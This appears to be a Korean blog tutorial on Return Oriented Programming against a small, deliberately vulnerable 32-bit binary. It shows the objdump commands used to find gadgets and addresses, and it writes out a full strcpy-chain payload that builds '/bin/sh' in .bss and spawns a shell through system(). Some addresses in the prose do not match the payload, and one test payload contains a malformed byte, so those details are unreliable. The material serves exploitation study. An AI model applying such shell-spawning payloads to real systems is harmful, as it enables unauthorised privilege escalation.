본문 바로가기

High Level Technique/System Hacking

Return Oriented Programming (ROP) - step 1

Return Oriented Programming (ROP) - step 1




개념


Return Oriented Programming(이하 ROP)는 운영체제의 보호기법인 NX, PIC, PIE, ASLR을 우회하여 해커가 원하는 명령어를 가지고 실행할 수 있도록 조합하여 권한 상승을 하는 기법.

쉽게말해서 이것 저것 제약이 걸린 상태에서 BOF, RTL과 같은 기법들이 수행되지 못하는 경우 원하는 함수를 실행하기 위해 필요한 값들을 하나하나 찾아 조합하여 실행시킬 수 있는 방법을 뜻합니다.






설명


ROP는 해커가 제약된 환경에서 쉘을 얻어내기 위해 조각들을 모아 실행 시키는 것을 말합니다.


간단한 예제를 통해서 어떠한 방식으로 ROP가 이루어지는지 살펴보도록 하겠습니다.






해당 소스코드를 보면 main에서는 strcpy를 이용하여 buf에 채울 수 있고 puts를 이용하여 buf의 내용을 출력하는 프로그램 입니다.

bin 함수는 system 함수가 존재하는데 sh가 아닌 ls가 있는 것을 알 수 있습니다. 조금 쉽게하기 위해서 bin 함수를 만들어 두었습니다.


ROP를 하기 위해서는 몇가지 사전지식이 필요합니다.


RTL: http://kblab.tistory.com/218

RTL Chain: http://kblab.tistory.com/222

.BSS : http://kblab.tistory.com/59


가장 중요한 부분은 ROP의 기초가 되는 RTL Chain 입니다. ROP는 RTL Chain을 이용하는 기법이기 때문입니다.


지금까지 공부했던 기법들을 가지고 생각해 보면 buf + SFP + ret 구조이기 때문에 ret에 bin함수 주소를 넣어주면 bin 함수로 이동하여 system함수를 실행 할 수 있다는 것 정도는 쉽게 알 수 있습니다.


하지만 system함수의 인자로는 /bin/sh가 아닌 /bin/ls가 들어가져 있죠. 쉘을 실행시킬 수 없는 상태 입니다.


그래서 /bin/sh 문자들의 조각들을 찾아서 /bin/sh를 완성시켜 실행 시켜 보도록 하겠습니다.


/bin/sh를 만들겠다는 것은 알겠는데, 이걸 어떻게 만들어 낼까요?



여기서 중요한 것이 .bss 영역입니다.


.bss 영역은 초기화 되지 않는 전역변수가 위치해 있는데 이 영역은 ASLR이 걸려있지 않아 주소가 변경되지 않는 곳입니다.


그래서 .bss에 /bin/sh 문자를 만들어 넣을 것이고 만들어 넣을 때는 strcpy를 이용하도록 하겠습니다.




Gadget 모으기



.bss 주소 찾기




objdump -h rop | grep .bss 명령을 실행하면 .bss만 찾아서 출력해 줍니다. 주소는 0x804a028 입니다.









.strcpy 주소 찾기




objdump -d rop -M intel | grep strcpy 명령을 실행하면 마찬가지로 strcpy 만 찾아서 출력해 줍니다. 주소는 0x8048300 입니다.





system 주소 찾기




system의 주소는 0x8048350 입니다.








pop pop ret 찾기


pop pop ret를 찾는 이유는 strcpy함수가 인자 값으로 2개를 필요로 하기 때문입니다. 인자 하나당 pop 명령어도 한개라고 생각하면 쉽습니다. (상황에 따라 달라질 수도.)




objdump -d rop -M intel 명령을 통해서 pop pop ret가 있는 곳을 찾습니다. 주소는 0x804851e 입니다.







/bin/sh 찾기





"/"


objdump -s rop | grep / 명령을 통해서 /를 찾아줍니다. 주소는 0x8048154 입니다.





"b"


마찬가지로 b의 주소는 0x804826d 입니다.





"i"




i의 주소는 0x804826c 입니다.





"n"




n의 주소는 0x804824d 입니다.





"s"




s의 주소는 0x804824b 입니다.





"h"




h의 주소는 0x8048390 입니다.




'0x00'




0x00의 주소는 0x8048178 입니다.




정리를 해보면 아래와 같습니다.







위 정보를 가지고 .bss section에 strcpy()를 이용하여 값을 저장 해 두도록 하겠습니다.




RTL Chain에 대한 개념을 완벽히 이해 하셨다면 위와 같은 구조로 이루어 진다는 것을 쉽게 알 수 있을 것 입니다.


r `python -c 'print "a"*16 + "BBBB" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x6d\x82\x04\x08" + "\x30\x83\x04\x08" + "1e\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x6c\x82\x04\x08"'`


일단 /bi 까지 넣기 위한 페이로드 입니다. 값이 정확히 들어가는지 확인 차 수행 해봅니다.





정상적으로 들어가는 것을 확인 할 수 있습니다.


그러면 페이로드를 작성해 보도록 하겠습니다.




r `python -c 'print "a"*16 + "BBBB" +                                                                                                       /  buf[16] + SFP

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x54\x81\x04\x08" +                 /    "/"

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x6d\x82\x04\x08" +                /    "b"

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x6c\x82\x04\x08" +                 /    "i"

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2b\xa0\x04\x08" + "\x4f\x82\x04\x08" +                 /    "n"

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x54\x81\x04\x08" +                 /    "/"  

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x4b\x82\x04\x08" +                 /    "s"  

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x90\x83\x04\x08" +                 /    "h"  

"\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x78\x81\x04\x08" +                 /    "\x00" 

"\x50\x83\x04\x08" + "AAAA" + "\x28\xa0\x04\x08"                                                                            / system(&bss)

'`




최종 페이로드는 아래와 같습니다.

./rop `python -c 'print "a"*16 + "BBBB" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x6d\x82\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x6c\x82\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2b\xa0\x04\x08" + "\x4f\x82\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x4b\x82\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x90\x83\x04\x08" + "\x30\x83\x04\x08" + "\x1e\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x78\x81\x04\x08" + "\x50\x83\x04\x08" + "AAAA" + "\x28\xa0\x04\x08"'`






쉘이 실행이 되는 것을 확인 할 수 있습니다.








정리


1. ROP는 RTL Chain을 이용한다.

2. ASLR이 걸리지 않는 .bss section을 이용한다.

3. system()의 인자로 bss에 넣은 주소를 준다.